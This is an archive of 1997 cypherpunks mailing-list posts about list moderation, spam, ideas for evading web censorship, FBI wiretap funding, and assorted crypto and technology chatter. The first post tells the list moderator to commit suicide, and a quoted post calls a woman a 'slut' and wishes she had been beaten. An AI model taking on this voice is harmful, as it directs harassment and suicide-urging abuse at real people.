> This thing keeps saying im not on it but am!
> someone help me.
> 

Sandy is totally incompetent.  S/he should commt suicide.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Tue, 21 Jan 1997 15:21:32 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: Dr. Vulis' social engineering experiment
Message-ID: <01BC07C7.DF618D90@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto writes:

>   Just because an individual claims, rightly or wrongly, to be a
> big defender of freedom, involving himself or herself in causes
> like those of the Electronic Freedom Foundation, does not take
> away their right to stomp on anyone who disagrees with them on
> their own private list.

Of course

>   To claim otherwise would be as ludicrous as denying the person
> running the Anonymizer the right to expose the identities of the
> people he feels might perhaps be abusing his private system, or
> using it for nefarious purposes, such as hiding their identity 
> from others.

I suspect you intended that to be sarcasm, but to be honest I
wouldn't have caught it at all if I wasn't already aware of your 
views in this area.  The person hosting the Anonymizer *does*
have the right to do exactly this.  I don't believe they would do
so, but that is a reputation issue not a question of my rights.
If I had entered into a contract with the provider of a service of
this nature then I would have a 'right' to expect their contractual
obligations to be fulfilled, but that is not the case with the
Anonymizer and certainly not with toad.com.

regards,
-Blake (freedom of the press for those with presses)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc <marc@deepsea.sys.web-uk.net>
Date: Tue, 21 Jan 1997 10:40:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: HOW AM I MEANT TO GET OFF THIS LIST!
Message-ID: <Pine.LNX.3.93.970121183757.7398A-100000@deepsea.sys.web-uk.net>
MIME-Version: 1.0
Content-Type: text/plain



This thing keeps saying im not on it but am!
someone help me.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 16:30:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM technology
In-Reply-To: <Pine.SOL.3.93.970121134815.9530B-100000@pegasus.montclair.edu>
Message-ID: <Z4Nw1D100w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> >
> > > 	ADSL will be the best for movies... i can't wait .
> >
> > What kind of movies?
>
> 	You're too young to watch these..:)

I'm older than you... Do you mean I'm too old to watch these?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 21 Jan 1997 16:30:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor.
In-Reply-To: <01BC07A2.1CDA0D80@crecy.ai.mit.edu>
Message-ID: <X9Nw1D101w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:

> Mission:
>
> Singapore and China are blocking certain net groups. I think
> this is a bad thing, question is how can we stop it? The Web
> was conceived as offering despots and dictators a choice
> between remaining in the dark ages and allowing freedom of
> speech. Blocking and filtering schemes threaten this ideal.

Phil, when I saw the subject, I thought this was another article
condemning Gilmore, Sandfort, and their disgraceful censorship.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "MSI: Patrick D. O'Brien" <PATRICK@msiconsulting.com>
Date: Tue, 21 Jan 1997 19:07:14 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: REMOVE
Message-ID: <c=US%a=_%p=MSI_Channel_Rese%l=ALICE-970122030958Z-7813@alice.msi1cri.com>
MIME-Version: 1.0
Content-Type: text/plain


REMOVE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: manager@usaphone.com
Date: Tue, 21 Jan 1997 16:52:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: For Your Information
Message-ID: <B0000010711@webodyssey.com>
MIME-Version: 1.0
Content-Type: text/plain



We wanted to write to you first regarding an exciting development.  On behalf of our customers, we are compiling a mailing list of people like you, who would like to receive notification when our clients run specials, sales, contests and other Internet promotions.

We plan to bring you the latest and most exciting opportunities on the web. You e-mail address will never be sold or given out.  We will never be a company that sends you e-mail constantly about multi-level marketing and scams.  All of our offers will be genuine and be monitored by us for quality.  You need not do anything to remain on our list.  If you choose to receive E-mail, you may discontinue any time in the future just by replying with the word REMOVE in the subject field.

If you would like to be removed from our list IMMEDIATLY and without question, reply with REMOVE in the subject field. You can also send email to mailto:manager@usaphone.com.

Thank you for your time.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Tue, 21 Jan 1997 19:57:05 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: The Purpose of the List
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970122035658Z-57579@INET-05-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


If the cpunk list discusses only crypto, then mathematician-programmers
will do their cold work in an isolation which eliminates the need to
think about the consequences of their actions.

So discussions on philosophy, society, etc., are important, to remind
everyone of the context within which this subject operates.

However, if "community feeling" is the only thing created on the list,
and crypto is no longer the focal topic, then what is to be
accomplished: the list will become just a playing ground for wayward
KOTM PhDs who are not welcome in most other cyberspaces.

So the question of "how will this impact society", must maintain
association with "but how does this relate to crypto?".  (unless the
list has changed its stripes, evolving into something completely
different, which many will agree it has).

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mail Delivery Subsystem <MAILER-DAEMON@worf.qntm.com>
Date: Tue, 21 Jan 1997 18:06:17 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Returned mail: User unknown
Message-ID: <199701220206.SAA16223@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


While connected to mail.qntm.com. [146.174.80.52] (tcp):
>>> RCPT To:<remove@mail.qntm.com>
<<< 550 <remove@mail.qntm.com>... User unknown
550 <remove@quantum.com>... User unknown



To: CV Communications <sales@quantcom.com>, remove@qntm.com
Subject: Re: Customers For You!!
From: "cypherpunks@toad.com" <cypherpunks@toad.com>
Date: Tue, 21 Jan 1997 20:04:27 -0600

FUCK YOU SPAMMER

At 04:27 PM 1/21/97 -0500, you wrote:
>The following message has been brought to you by Quantum Communications.
>If you would like advertising rates and information, send an email to
info@quantcom.com
>or visit our website http://www.quantcom.com
>If you prefer NOT to receive promotional messages inthe future, send an
email to 
>remove@quantcom.com
>
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>info via email, please be sure to include your voice phone # and best
>time to call, unless you would prefer not to be contacted via
>telephone to follow up.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 18:04:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Keyword scanning/speech recognition (fwd)
Message-ID: <199701220211.UAA06443@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 21 Jan 1997 17:11:24 -0600
> From: Rick Smith <smith@sctc.com>
> 
> simultaneously.  Ahhh. The joys of microcoding for a 74S181 ALU.

Now there is a blast from the past. I was working at UT Austin in '82 on my
EE. I had to work part-time at the school for a non-classified project for
the DoD (only way they would let students work on projects on the main
campus). We were building a non-Von Neumann RTL (mono-bus computer) based
router for the ARPANet using the 181's clocked at 40MHz (fastest they were
reliable at) as the ALU's behind the registers. Couldn't find a way to
saturate the machine (had 64 serial ports driving 64 Z80's @ 4MHz sitting
on the RTL bus as addresses registers) on I/O. One of the guys working on
the project was taking an electronic music class from one of the members of
Journey (who was teaching a 1 time 1 semester class on electronic music) so
we ended up using it as a synthesizer. Worked damn well. Don't know what the
DoD did with it afterwards.

Thanks for the reminder of some fond memories.

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Tue, 21 Jan 1997 01:17:18 -0800 (PST)
To: lucifer@dhp.com (Anonymous)
Subject: Re: Take it to sci.math
In-Reply-To: <199701201611.IAA12389@toad.com>
Message-ID: <19970121091654.3561.qmail@suburbia.net>
MIME-Version: 1.0
Content-Type: text/plain


> >and
> >
> >4) This bullshit is extremely annoying to those of us who has some real
> >        training in math, even more so than the regular bullshit on this list.

Perhaps your 'real training in math' could show itself and put an end to
the discussion.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: proff@suburbia.net
Date: Tue, 21 Jan 1997 07:10:31 -0800 (PST)
To: Anonymous <lucifer@dhp.com>
Subject: Re: Take it to sci.math
Message-ID: <199701211510.HAA06961@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> >and
> >
> >4) This bullshit is extremely annoying to those of us who has some real
> >        training in math, even more so than the regular bullshit on this list.

Perhaps your 'real training in math' could show itself and put an end to
the discussion.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 21 Jan 1997 20:15:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <199701220416.UAA21632@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


||| FBI moderates its communications-surveillance request |||

TBTF for 5/4/95 [6]

In 1995 the FBI asked for and was granted $500 million to augment the
government's ability to tap communications (of this total $100M has
been released to the FBI so far). Privacy advocates expressed outrage
at the FBI's stated capacity goal: to be able to listen in on 1% of
installed telephone lines at any time. This translates to about 1.6
million taps simultaneous of all kinds: pen registers, trap-and-trace,
and wiretaps. The FBI withdrew its initial proposal under fire and on
1/14 submitted a revised proposal -- press release at [7], analysis
at [8]. Unlike the earlier draft, this essay lays out its assumptions
and straightforwardly projects needed capacity growth. The result is
a capacity figure of fewer than 60,000 intercepts, less that 4% of
the original request. This level of capability would allow the FBI
simultaneously to monitor more than 500 phone lines in an area with
the population of Manhatta still an enormous increase on historical 
numbers of intercepts.

[6]  <http://www.tbtf.com/archive/05-04-95.html>
[7]  <http://www.fbi.gov/pressrel/tele/telephon.htm>
[8]  <http://www.cdt.org/publications/pp_3.01.html>

Fuck the FBI.

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 21 Jan 1997 17:21:07 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor.
In-Reply-To: <199701212027.MAA11310@toad.com>
Message-ID: <Pine.LNX.3.95.970121195907.308B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 21 Jan 1997, Phillip M. Hallam-Baker wrote:

> 2) How can one prevent the proxies themselves being blocked? Some
> ideas that come to mind:
> 
> 2a) Only issue new sites gradually so that blocking requires
> continuous updates.

I'm not sure how effective this would be.  This depends mostly on security
through obscurity.  If the censors are very dedicated to making sure that all
sites containing offending content are blocked, then there might be a few
hours between the time when the mirror is set up and when it gets blocked.

I prefer to think of the solution to this problem as a denial of service attack
rather than just relying on obscurity.  If the goal is to make sure that a
large number of people have access to the mirrors, then the chances are it will
be blocked fairly quickly.  If many different diverse sites set up mirrors,
this would effectively cut off that country's access to the web.  This still
does rely on some obscurity, such as being able to change URLs on a site
frequently so the whole site has to be blocked instead of just the offending
URL.

A series of linguistic instructions on generating the URL could easily evade
any bot seeking out notices of new URLs.  This might be spelling out the URL,
telling the user to find the MD5 hash of a specified string (a cgi interface
for md5sum might be useful for this example), or any obscure method of encoding
an URL that should be easy for any person to understand, but impossible for a
program to parse.

> 2b) Use DHCP to change network addresses regularly.

If this change is regular enough, then it might force the censors to block the
whole network and not just the host.  Definitely a positive.



Mark
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MkB+ADvEc3noCxyB3w2y+ThoK41o8caDzWJGWjJ9zf+GGtusWNcYHA==
=JS38
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 18:32:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls) (fwd)
Message-ID: <199701220239.UAA06540@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 21 Jan 1997 17:29:05 -0800
> From: Steve Schear <azur@netcom.com>
> Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
> 
> followed up, but it seems entirely reasonable a practicle.  In fact I'm
> surprised that Hollywood hasn't latched onto this in order to dub film
> stars to different languages w/o loosing their recognizable voice
> characteristics.

In this regards you people (en toto) need to do a little more real world
research in this area. Voice recognition is and has been easy to do for
decades. As to what Hollywood is doing, not only are they doing voice
masking but your local radio station does it on a regular basis [1] for a
few $1,000's in hardware and software.


[1] Video Toaster User
    Dec. 1996
    Toaster Talk - "Learning from radio"
    pp. 6


                                               Jim Choate
                                               CyberTects
                                               ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 20:48:44 -0800 (PST)
To: Alec <ichudov@algebra.com
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <3.0.32.19970121174238.00687e7c@smtp1.abraxis.com>
Message-ID: <32E59C0E.29DE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> :Jane Jefferson wrote:
> :> The heart and soul of the problem is that "sin", "freedom", "good",
> :> and "evil" are abstract concepts which fluctuate from individual to
> :> individual.

> Not only from individual to individual.
> Please consider the changes in the concepts of "sin", "freedom", "good",
> and "evil" which occur over time even within the same individual; to
> wit the on and off again love affair with our nation's past "enemies;
> individual responses to drug use especially alcohol; premarital sex
> (ok for me but not my daughter).
> This constant flux within both society and individual makes creation
> and implementation of rules extremely difficult and hazardous.

The idea that "sin" and "evil" are abstract and somewhat arbitrary is
merely a human (and therefore faulty) perception.

If God can be perfect by definition (for sake of argument), then "sin"
is taking one's attention from God's intent and turning to man's intent,
which is inherently selfish.  "Evil" is the selfish thing you do, when
you should do the unselfish thing.

These are not that difficult to understand, but are easily twisted by
selfish minds.

A gentleman wrote to Southern Partisan magazine a few years ago and
said "Real freedom is not the license to do whatever you want, but
rather the liberty to do what you ought to do".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 20:53:42 -0800 (PST)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: Re: The Purpose of the List
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970122035658Z-57579@INET-05-IMC.microsoft.com>
Message-ID: <32E59D1E.C23@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:
> If the cpunk list discusses only crypto, then mathematician-programmers
> will do their cold work in an isolation which eliminates the need to
> think about the consequences of their actions.
> So discussions on philosophy, society, etc., are important, to remind
> everyone of the context within which this subject operates.
> However, if "community feeling" is the only thing created on the list,
> and crypto is no longer the focal topic, then what is to be
> accomplished: the list will become just a playing ground for wayward
> KOTM PhDs who are not welcome in most other cyberspaces.
> So the question of "how will this impact society", must maintain
> association with "but how does this relate to crypto?".  (unless the
> list has changed its stripes, evolving into something completely
> different, which many will agree it has).

It can be said 100,000 times, but it still comes out the same:
Just as in "The only cure for bad speech is more speech", "the only
cure for 'list-focus-drift' is more on-focus postings".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Paul Johnson" <mpj@csn.net>
Date: Tue, 21 Jan 1997 20:43:07 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: North American crypto site -- correction
Message-ID: <199701220429.VAA12571@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Correction: the "front door" to the North American crypto site is
http://www.sni.net/~mpj/usa/getcrypt.htm (the /usa was missing in
in an earlier post)

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-----END PGP SIGNATURE-----
Jesus Christ is coming back with power and glory!  Are you READY?
mailto:mpj@csn.net Bible site-> http://www.sni.net/~mpj  Is 40:31
BBS 303-772-1062       PGPprint=3E67A5800DFBD16A 6D52D3A91C074E41





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 21 Jan 1997 21:34:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Encrypting ZIP drives?
Message-ID: <3.0.32.19970121213536.006e9ce4@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


I am looking for a transparent (strong) encryption of ZIP drives. Any advice would be appreciated.

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 18:50:14 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: GSM technology
In-Reply-To: <Z4Nw1D100w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970121214634.17090A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > 	ADSL will be the best for movies... i can't wait .
> > >
> > > What kind of movies?
> >
> > 	You're too young to watch these..:)
> 
> I'm older than you... Do you mean I'm too old to watch these?

	Yes physically you are older and wiser;
	And watching 'wild orchid' would be detrimental to your health.
		
	thinking of you, oksas!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 22:12:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199701212345.PAA17403@sirius.infonex.com>
Message-ID: <32E5AFA8.768E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Mixmaster wrote:

> Is there a moderated list available which expunges only Dale?
> The good Dr., though vicious, is really quite clever, though vicious.
> Dale is only a bore. Only.
> Hugs to all.

I laughed so hard I nearly peed my pants.  BTW, does the word
"peed" make this post go into the dumper??  [hee hee]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 19:21:00 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <kDcs1D62w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970121221534.17671A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 19 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > >
> > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > >
> > > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > >
> > > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > > > I say we make people fly naked and ship their stuff via UPS ;
> > > > > > >
> > > > > > > > >     >>shudder<<
> > > > > > > > >     No!. A clear case of the cure being worse than the disease.
> > > > > > >
> > > > > > > > Why. it might be fun - those long flight can be so boring with cl
> > > > > > >
> > > > > > > This one I really don't understand.  Cypherpunks lobbied heavily fo
> > > > > > > the Final Solution to Spamming and flaming, now along comes the per
> > > > > > > solution to the airport security problem, and nobody's gonna go for
> > > > > > >
> > > > > > > Guess those old, out-of-shape guys don't want anybody laughing at t
> > > > > > > Besides, they can put all the clothes in the same plane's baggage
> > > > > > > compartment.  And planes have those little blankets and pillows,
> > > > > > > so what's the problem?
> > > > > >
> > > > > > 	Cold temps...
> > > > >
> > > > > What can naked people do to keep warm???
> > > >
> > > > 	steal blankets from nearby passenger..
> > >
> > > I once saw a movie where they had a heroin (or cocaine?) processing lab
> > > and everybody was supposed to work naked so it would be hard to steal
> > > some of the product. Of course in the movie all the employees were good-
> > > looking women (Oksas would have been the big star!).
> >
> > 	Thank you for the complement;  You've only seen me with clothes :)
> 
> I can tell.
> 
> > 	Would you like to share my blanket?
> 
> Sure!  A true gentleman (like me) is always ready, willing, and able to share
> a security blanket with a lady.

	I am very embarassed...
> 
> "Something nekkid's in the air!"
> 
	i think i am in trouble ;)
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 21 Jan 1997 19:44:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Seismic Crypto
Message-ID: <1.5.4.32.19970122033948.00705368@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


In a NYT report today on a "mysterious" blast in the
Australian outback in 1993, there's mention of "seismic
weapons" and research on them by Nicholas Tesla
in the 1930s.

Would any of our weapons connoisseurs have more
info on what these are and how they were supposed to
work? Electrical, chemical, nuclear?

That Aussie blast has still not been identified except
that it was something in the nuclear weapon, earthquake or 
meteorite range. The Arum sect, which owned 500,000
acres in the viciniity, was a suspect for a while but later 
cleared, although it was looking into seismic weapons.

Will send the story:

WHA_the

Or read it at www.nytimes.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 20:42:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nikola Tesla
Message-ID: <199701220449.WAA06765@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 21 Jan 1997 22:39:48 -0500
> From: John Young <jya@pipeline.com>
> Subject: Seismic Crypto
> 
> In a NYT report today on a "mysterious" blast in the
> Australian outback in 1993, there's mention of "seismic
> weapons" and research on them by Nicholas Tesla
> in the 1930s.

First, it's Nikola Tesla. At least do the man the honor of getting his name
correct (he is a personal hero of mine), I mean he ONLY invented the AC
power system we use today, the first commercial power generation plant at
Niagra Falls in the world, the first torpedo which he sold to the Russians
because the USN was too stupid to buy it, radio, remote control via radio,
wireless power transmission, etc...

Second, there is a LOT of hogwash attributed to Nikola which he in actuality
never worked on (ie death rays, flying saucers to the interior of the Earth,
etc.). If you would like to learn more about him then check out
"The Writings and Inventions of Nikola Tesla", it was proofed by him prior
to its publication. You will also find in most bookstores a copy of all his
American patents in "The Collected Patents of Nikola Tesla". I apologize for
not providing ISBN's but my copies are 30 miles away in my shop being used
to build Tesla Coils. I would strongly suggest avoiding the Tesla Society as
it is, in my opinion, populated by a bunch of UFO and conspiracy crazies
(though a small percentage of their articles are useable).

His work on 'artificial earthquakes' dealt with his studies on mechanical
coupling between tuned oscillators. He was finaly 'asked' to leave because
he would get 4-5 square block areas of New York rocking, much to the chagrin
of the residents, by coupling pile-driver like oscillators to the building
he lived in.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 21 Jan 1997 22:51:20 -0800 (PST)
To: amanda@intercon.com (Amanda Walker)
Subject: Re: Wow.
Message-ID: <3.0.1.32.19970120211054.005bb498@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:58 AM 1/19/97 -0500, Amanda Walker wrote:
>I'm off to look for a mailing list where people are ACTUALLY DISCUSSING
>CRYPTOGRAPHY AND IMPLEMENTING CRYPTOSYSTEMS.  This list may still be
>called "cypherpunks", but it doesn't have much cypherpunk left in it, as
>far as I can tell.

To some extent it's bad timing - there's been enough flaming on the
list (including a few bad apples really harassing it) that John Gilmore
decided it was time to start moderating the list, and that's led to
a bunch of flames about moderation.  But it was getting pretty bad.

About a year ago the coderpunks@toad.com list got started;
it's just for discussing code and related issues, not politics.
It's moderated by the "Please be nice, and we'll kick you off for abuse"
method, and it's worked out fine, though it's usually quiet.
Also, a month or two ago, Perry Metzger started cryptography@c2.net ,
which is a bit more general but not for flaming.  Perry moderates it.
Both use -request to find the listbot.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 21 Jan 1997 22:52:57 -0800 (PST)
To: "roamer.fau" <roamer@fau.campus.mci.net>
Subject: Re: mailing list
Message-ID: <3.0.1.32.19970120211347.005bb498@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:54 AM 1/18/97 -0500, roamer.fau wrote:
>Please place me on your mailing list.           
>						Thank You,
>															  Mark
>
>
cypherpunks-request@toad.com
	"help"

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 21 Jan 1997 22:53:00 -0800 (PST)
To: "John C. Randolph" <jcr@idiom.com>
Subject: Re: Donna Rice, etc.
Message-ID: <3.0.1.32.19970120213409.005bb498@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Yes, it's the very same Bimbo who scuttled Gary Hart's campaign, 
I think you have to give Gary all the credit for that;
the "Hey, I'm not doing anything wrong and you could follow me
around 24 hours a day and not find anything" bit convinced me that
Hart was a major flake, and doing it when the only credible
Democrat to take over after him was Walter F@#&! Mondale
was just unconscionable.  If he'd said something like "Get Off My Ass" or
"Reagan's not on his first wife, so what's your point" or
"my marriage is off limits" or whatever I'd have had some respect,
and for a Democrat he hadn't seemed to be that bad.

> but when she tries to tell me what I should or shouldn't be able to 
> see, my reply *must* be:
>	Fuck you, you hypocritical, ignorant, little slut.
>I am also going to take issue with her trysting with a married man. 
>I wish Hart's wife had verbally beaten the living shit out of her.

She's a _former_ bimbo, who has ostensibly rehabilitated herself.
Not that that puts her in a position to throw stones at other people..

>Obligatory Crypto Policy reference: Why couldn't she have scuttled 
>Feurher Clinton's career, instead?

Not enough room to fool around on a bass-fishing boat?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 21 Jan 1997 22:51:13 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: ADSL (Was: GSM technology
Message-ID: <3.0.1.32.19970120223838.00635068@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>	Does anyone use ADSL lines?  or are they still very expensive?

They're not widely available yet; I don't know if any of the (US)
phone companies offer it as more than trials.  One limitation is that
the technology works over copper wire, so it has to be offered at
your local telco wire center.  Of course, your local telco has to 
have something useful to do with the bits once the user sends
them to the telco, and has to have some useful bits to send the user.
This means they've got to haggle about standards for 5 more years
(or just do the right thing and deploy IP, with some respectable
bandwidth to the outside world) (or deploy ATM to get a layer 2
connection to something outside.)

Don't know if the telcos have a clue about pricing, either.
It's obviously got to be more than cost, but they'll probably 
thrash around a lot the way they did with IP....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc <marc@deepsea.sys.web-uk.net>
Date: Tue, 21 Jan 1997 15:17:53 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: HOW AM I MEANT TO GET OFF THIS LIST!
In-Reply-To: <32E53982.3794@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.93.970121230928.4248A-100000@deepsea.sys.web-uk.net>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 21 Jan 1997, Toto wrote:

> Marc wrote:
> > 
> > This thing keeps saying im not on it but am!
> > someone help me.
> 
